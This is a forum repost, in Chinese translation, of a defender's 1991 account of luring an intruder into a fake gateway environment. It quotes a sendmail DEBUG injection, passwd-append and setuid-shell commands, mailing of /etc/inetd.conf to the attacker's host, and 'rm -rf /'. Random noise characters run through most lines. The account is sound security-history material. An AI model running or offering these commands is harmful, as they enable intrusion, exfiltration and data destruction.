找回密码
 注册

QQ登录

只需一步,快速开始

引诱、欺骗并研究一个黑客——陪伴berferd的一个夜晚

[复制链接]
发表于 2011-1-12 21:02:07 | 显示全部楼层 |阅读模式
在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
" _7 B' m7 {% J( I0 B) x在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录6 J# M/ f& E6 \# o0 s! g! G; _3 E  V# j
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。+ w/ r1 i, U& T, N7 ~$ l
简介
5 W" p+ @! F4 F4 E& q5 h( E0 m7 ?我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
: r/ ?1 b; S7 ~3 C4 R. J7 I$ k事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。
. ?1 z; M& F3 Q! u# o: Z大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
/ H# b3 z  [- S9 u; `+ ]我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:% z: p* ~5 m. ]2 G; J- Y: q7 M
FTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”; ?0 E6 ^' |0 B3 T/ Q$ S
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。/ D$ Q6 N4 }! @% M7 m: G0 G
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:; K/ w3 d) a# ^& J0 k' |
exec 2>/dev/null # ensure that stderr doesn't appear
) J9 B6 L: ~$ Z5 c/ ftrap "" 1
  X" g+ h# n& j% L3 \& g/bin/echo
- u# C- a5 C( M  O9 q  |( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |0 D. [+ M* }) t  h" \% c7 S0 D( ]
upasname=adm /bin/mail ches dangelo &4 P' X& E9 y8 t8 G% @. a
# (notify calling machine's administrator for some machines...)
, b0 i9 w% n/ k+ J7 `# (finger the calling machine...)
/ V% E2 O, f, X' ~% B" O" ^) 2>&1 | mail ches dangelo5 K$ G1 X1 W6 B% Z+ E! ^
/bin/echo "/tmp full"
2 f5 P2 A: s7 |sleep 5 # I love to make them wait....
( P& S8 v7 w4 z' H$ R; P! y* p/bin/echo "/tmp full"$ Y1 K2 t7 ?, o5 q
/bin/echo "/tmp full": O& o4 Q6 ~6 b: I7 @' u- ^6 L
/bin/echo
) ~/ V$ Q7 N0 F) Ssleep 60 # ... and simulating a busy machine is useful
. e& x, B& l, Y0 q  U: |+ m# U3 E我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。  ~; K3 ^: s; R* c5 b( ]
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。" [3 [4 X% F% e% g; l# x
Finger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
- g* N- I, G6 G  F  YRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。4 w( |; o. J7 _) O0 J+ U4 u# ]3 N
上述很多探测器都使用figner命令来查明调用的机器和使用者。0 @& O. V% @* e9 Q' H
当一个尝试显示为有不合法企图时,我就发出这样一条消息:
( y- R" l1 V1 Xinetfans postmaster@sdsu.edu
& Z  [  r! G  N' c3 y0 f9 KYesterday someone from math.sdsu.edu fetched the /etc/passwd file9 o  _7 w' n2 \
from our FTP directory. The file is not important, but these probes9 F! i+ g3 d& x9 w9 ?4 a4 w8 A
are sometimes performed from stolen accounts.  T( a0 Q* l( X5 N% W
Just thought you'd like to know.
- ~$ Z- R: |. p1 J1 VBill Cheswick) p! n. n. P3 v+ `8 T: p; h
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。
+ N  |$ x. e9 k% n& e' V很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
1 p  B* [5 K9 m2 q! J不友好的行动: d) H. w$ C7 h; p  g% d
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
) {4 l2 I. P+ x" j0 L当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。( }5 Y7 b4 z9 K  G+ m; D) G6 E
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP) J$ h; b5 [# U( }/ v. n
19:43:14 smtpd[27466]: -------> debug
1 h2 x9 o  M8 B/ f( E9 l( @19:43:14 smtpd[27466]: DEBUG attempt
; \- [( M7 Y! P4 v( U/ }1 y19:43:14 smtpd[27466]: <--- 200 OK
! C  r' h' L& N7 g: g3 w19:43:25 smtpd[27466]: -------> mail from:" f: s  ~, g6 N; F9 M5 N( U
19:43:25 smtpd[27466]: <--- 503 Expecting HELO2 w0 Q  g$ s( p% G3 B% }
19:43:34 smtpd[27466]: -------> helo
, i7 q# {. G* r* g5 O19:43:34 smtpd[27466]: HELO from
: R1 C/ W5 I/ d1 d+ f6 i; i19:43:34 smtpd[27466]: <--- 250 inet.att.com
$ X! Z7 N! k! d7 d19:43:42 smtpd[27466]: -------> mail from:
* o$ y1 W3 a/ A8 F19:43:42 smtpd[27466]: <--- 250 OK
6 l. F+ v/ n7 U0 p19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
$ y( s3 q8 s2 ]" Z  i5 `0 V19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
! o: w, o0 Z4 X3 o2 J9 z0 P19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"1 O" N! U* h3 U$ ?) m! {+ W
19:44:45 smtpd[27466]: <--- 250 OK
7 K) Y( r; @. G- u19:44:48 smtpd[27466]: -------> data
: n; X# H0 o% l: C* S% W* b19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
* I% V4 [& i" d. E. Y7 c19:45:04 smtpd[27466]: <--- 250 OK' Q. f2 c# M2 V, p/ f4 a
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
) {0 T$ a5 K" \& ?; V7 n19:45:08 smtpd[27466]: -------> quit
, z  z0 B! X# P0 ?5 @4 W7 ?) d19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
) R8 y) e  X; b! p' C% d19:45:08 smtpd[27466]: finished.; [0 X% ?( |! i) M) O
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:
; A$ [7 v$ L+ Q2 q8 Esed -e '1,/?$/'d | /bin/sh ; exit 0"  s, I+ T9 z$ n9 Z8 z2 e. R  J
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
6 z0 w( B  i" g& k7 K19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。- [" {, g' _! M( T1 h/ L
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。  K' ^, E" {) z* m! V) J8 O% i+ I
接着的一个星期天我接到了从法国发来的一封信:) M/ P; t8 n3 Q  y
To: root@research.att.com% e: n, r( x+ _+ u
Subject: intruder
- q0 k! a% c. e7 B5 D. [( w6 xDate: Sun, 20 Jan 91 15:02:53 +0100
  j. n! X& ^# c: w9 E! g0 WI have just closed an account on my machine
8 N- H/ C, a: H- `which has been broken by an intruder coming from embezzle.stanford.edu. He/ l2 p3 \( ~: W' G8 Y5 s- F
(she) has left a file called passwd. The contents are:8 T1 D, Q* B3 U# a0 e7 _9 m
------------>2 \+ }1 {  }* r: s3 r
From root@research.att.com Tue Jan 15 18:49:13 1991  W& ]- {7 H( v  S$ b
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);7 i! h7 ]: D! d; M
Tue, 15 Jan 91 18:49:12 -0800. Y; P7 E- N: D0 A' t9 [. ?' q
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>1 r/ p' \% q5 ^  i  N/ k
From: root@research.att.com' {6 n) L9 t9 e& d9 X, J
Date: Tue, 15 Jan 91 21:48 EST
/ ]+ H- f+ O: yTo: adrian@embezzle.stanford.edu
9 }3 J& Y) q5 L7 Q* {' ?Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
: N$ a! r6 f5 d8 n0 Q. [; dDaemon: *:1:1:0000-Admin(0000):/:1 I1 W, D2 v+ t# \4 [7 \! }& z5 _8 K
Bin: *:2:2:0000-Admin(0000):/bin:
$ y, F( R' q, m. Q( m$ e3 i8 L! \Sys: *:3:3:0000-Admin(0000):/usr/v9/src:$ {" j, `: f0 @$ n# Q4 }7 f
Adm: *:4:4:0000-Admin(0000):/usr/adm:# X1 E" `" _1 v" d7 t
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:& k+ \2 R5 K' u1 e. Z( _5 P
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico' P0 }' l0 @  D3 |: z; a" j3 ^
Ftp: anonymous:71:14:file transfer:/:no soap
, n' M* X/ G  h' Z/ p0 m: oChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh) O& J* a. v  W0 n/ b; {; L
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
+ j( n4 R5 H  d$ J- [Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh# Y5 z' o% g, U% H
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh( N$ r- m# w$ d; ?! t5 l5 r. ]' W
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
2 |/ B- |& s! E; g* q- a) KStatus: R& ?# R( ^( `2 X
------------Please let me know if you heard of him.( m; h5 n% U9 Y5 ^: I
陪伴Berferd的一个夜晚
% y" [+ i: v. n1 E0 P5 D1月20号,星期天晚上,我的终端报告有安全敏感事件。
( T' p* Q* J1 ?- m22:33 finger attempt on berferd
9 g) S! P1 M# e, L( h* |# m几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!4 b4 q4 Y! u/ c, y; g; Y
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd" P# n1 D3 O$ T
cp /bin/sh /tmp/shell
6 U: m+ |& J' Y9 K, s& h' @, b) [chmod 4755 /tmp/shell
; W+ L, Q; X# m- @, J连接同样来自EMBEZZLE.STANFORD.EDU。1 c2 J% c- v8 A, g
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。  l; a) V9 U4 j6 v
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。# |+ O2 E/ B5 R9 N
我已经有一个要求了,因为他已经持有了一份passwd。
" n, K) \$ D0 _- a决定一:ftp的passwd是一个真实的passwd。
0 g# q! ]. r  X+ P' S还有另外的两个:
! I  C- t4 P9 }1 R( T. O' m+ Q决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
1 p* j" e% }  z$ K, ~- H决定三:网关机器极慢。
0 M! Y4 B. u* {: C) u' b3 @因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
, h/ ^6 i$ `1 i8 a8 _" V决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
# v$ A1 G" m' A* W% b; R6 a这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:9 O2 ~1 s; L( W; Z
RISC/os (inet)$ k2 }$ d8 a, Q' m0 y/ w5 m( E
login: b
* @4 R  e" ]' X) W1 @+ tRISC/os (UMIPS) 4.0 inet
; b9 d- ~, z) z$ J7 N' fCopyright 1986, MIPS Computer Systems
& Z: a& [, Y- X9 l' GAll Rights Reserved' H3 s* t- b+ A, k( k7 X3 c* W
Shell not found
, T( H/ E2 j( x- K6 h$ p! ?我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:7 F; b. a6 p. g0 ]
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
* t9 ~7 A% Q! U; B; O, D. A他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:' r" l7 `, p5 u. u
22:45 talk adrian@embezzle.stand?Hford.edu
6 c% H' X% Y. H5 Ptalk adrian@embezzle.stanford.edu8 ?  A1 Z+ U" @6 H* U& M/ F3 O
决定五:我们没有talk这个命令。/ {9 F/ t3 K# y; T7 a0 L
他选择了berferd这个帐号:
0 _6 d4 w" A: J+ ~. O/ U8 A6 s4 R22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU" o' E3 b& t( ^
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU4 Z! l; n/ a" F4 C; t1 D; |5 I( J
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
1 L4 B$ y, G: H' x2 w+ N22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)( Y! f. q. m) N% p, _
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
' ^8 V& r; N8 B/ v22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU8 F( |4 X% n( v/ f6 U
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
; _( `1 J5 v; Y: W# l6 E22:57 (Added bfrd to the real password file.)
4 U% E. C% [" @* f! x22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) R) z4 Y" q7 L& m( {# [, R22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
: C& Z! W+ \5 `) x23:05 echo "36.92.0.205" >/dev/null" v1 {4 U. a' R% J  k
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H3 X! {4 z1 n- h" Q& M
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
) I. C9 Z+ D5 b6 I7 @' J! Z) A23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts9 j" a7 R3 R7 b& R
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts, }4 {7 s( \: o- q( P
很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。# L2 L6 c. y. h* P4 v, w$ B
这时他又有新的动作:7 T" G* {8 z: O3 N0 s/ |( H# ]0 {
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' Z6 H) M0 g* u" {, z" U
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU2 ]$ Q* E% }0 D1 t% `7 S) o8 ^
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf! h0 H( o6 i# j  k0 x
ps -aux|mail adrian@embezzle.stanford.edu! u2 R3 l3 _6 l& V: a4 G
在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
. L( o) G% I/ l/ l- d( W4 ?决定七:网关机器运行不稳定,时有不确定事件。6 L, M0 B; z+ I0 z
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts" F1 G3 F! H0 `) j! W" K
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts; ]5 R6 s" N; q' F  h$ ?/ n. j
ps -aux|mail adrian@embezzle.stanford.edu1 h7 Y' k3 J7 V' \- L# l
mail adrian@embezzle.stanford.edu < /etc/inetd.conf( r: [6 d2 M9 o* R$ q4 @
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
$ h: d. o4 r) e这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:
  V$ \6 L: b* iJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server0 w6 {/ s4 I. y; i, q2 [- {
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
5 L9 ~( m" n: I( _/ @/ zJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
4 G8 Q6 P" _7 m4 j3 LJan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
' O: H8 a/ @6 }Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M6 R9 a, q& ]; j7 F/ X) k) E- T+ ^5 B
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
" y- {) Q9 K. Q6 s8 z5 k" P2 g/ eJan 20 23:37:13 inet ftpd[14437]: -------> pass?M% i, P8 \9 c4 ?
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.2 ]3 s; N% {9 G' M0 w  Q/ v; u7 s
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M( f" b/ ~1 ?- Y9 X" z; B' A$ D0 _3 o+ c
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
' M' h, m0 u( q4 y# S2 H/ R. Lrecognized (* =>'s unimplemented).+ F$ e7 L- ?; C) D# C. ]
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.1 I( Z/ N7 L" f/ G( ^
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
% _: u, Y2 ^6 E( X/ o" s- E  qJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.- [, F; y) w! M: C9 `. |+ X1 U
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0% M, n' D2 _9 R2 O5 g+ k
Jan 20 23:37:31 inet inetd[116]: exit 14437
0 K9 I7 ~, `; Q* f& b3 H4 n8 c5 hJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454. g/ p' Q' I# v
Jan 20 23:37:41 inet inetd[116]: exit 14454
& d9 X' V; C) `  _! K$ _23:38 finger attempt on berferd
( G6 w9 h2 N1 c" o) R5 c; y& f3 c23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
) H) W; o- t1 Y  Q23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b- G5 k( A7 ~1 P) c$ q: o' S
cp /bin/sh /usr/etc/fingerd
; }/ g/ `3 o- q7 u7 M决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
/ G! P; f) a- p! z7 A% Z' g23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU, f) ~) a  S' k8 m
23:58 cp /bin/csh /usr/etc/fingerd, ~, V& K/ z! e* B
我们模拟的机器上csh并不在/bin下,因此这个命令无效。' o0 b( V/ B/ z0 ^# G% t# I
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
2 o( v+ [& f& O/ `  P好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。$ ?: L1 M) E- ]" _5 d$ c5 Y  S6 P
00:14 passwd bfrt2 p- W1 U' R  A3 C6 |
bfrt
0 }2 H6 t8 u- E! W4 v1 v. u/ p9 Wbfrt
' F0 E, B6 N  z& a, O+ z# `  i现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。
% D+ y* }$ S$ K6 E# ^( ]% A00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU* U8 c. I5 O7 `0 N+ y) F0 ^6 c- E
00:17 echo "/bin/sh" > /tmp/Shell8 }+ k2 b! o- o! f& ~, v
chmod 755 /tmp/shell
: \2 J( T9 B1 |/ [- Q# H" ]chmod 755 /tmp/Shell" S* Z( n6 G  p$ I  s' M, P
00:19 chmod 4755 /tmp/shell
% R1 Z. \) v( {: ?00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 Z" Z1 C# _5 [" Q0 r6 g. S
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 S$ |$ |$ x6 |6 S$ J3 B9 |4 m00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU2 a& B# Z3 r6 x' d/ u; l/ C  y* Q
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU$ z' ?7 U* j7 ^  }% A8 `7 b& I
这时我已经很累了。% R) ~2 G, n1 e! {4 V
01:55 rm -rf /&# z( b: Y6 E( a0 i# y
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。+ c' Q' w0 }! H
他继续工作了几分钟,后来放弃:
) E5 b3 k% Z; P7 H' x07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# {' w: M6 a$ L/ w. p6 P* s07:14 rm -rf /&% o# u8 a3 ~* n0 G* ^8 H
07:17 finger attempt on berferd5 y7 w7 ]( `- s
07:19 /bin/rm -rf /&3 v( V8 q9 u, E" Z: s/ y- b
/bin/rm -rf /&/ L- u0 Z$ _) J1 L) q0 a
07:23 /bin/rm -rf /&
. P8 u) @& m5 b" k9 u07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 W! w, r! a7 F) w+ M
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU# K. ]/ W! S* ]) p8 q4 @% s
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-7-30 01:35

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表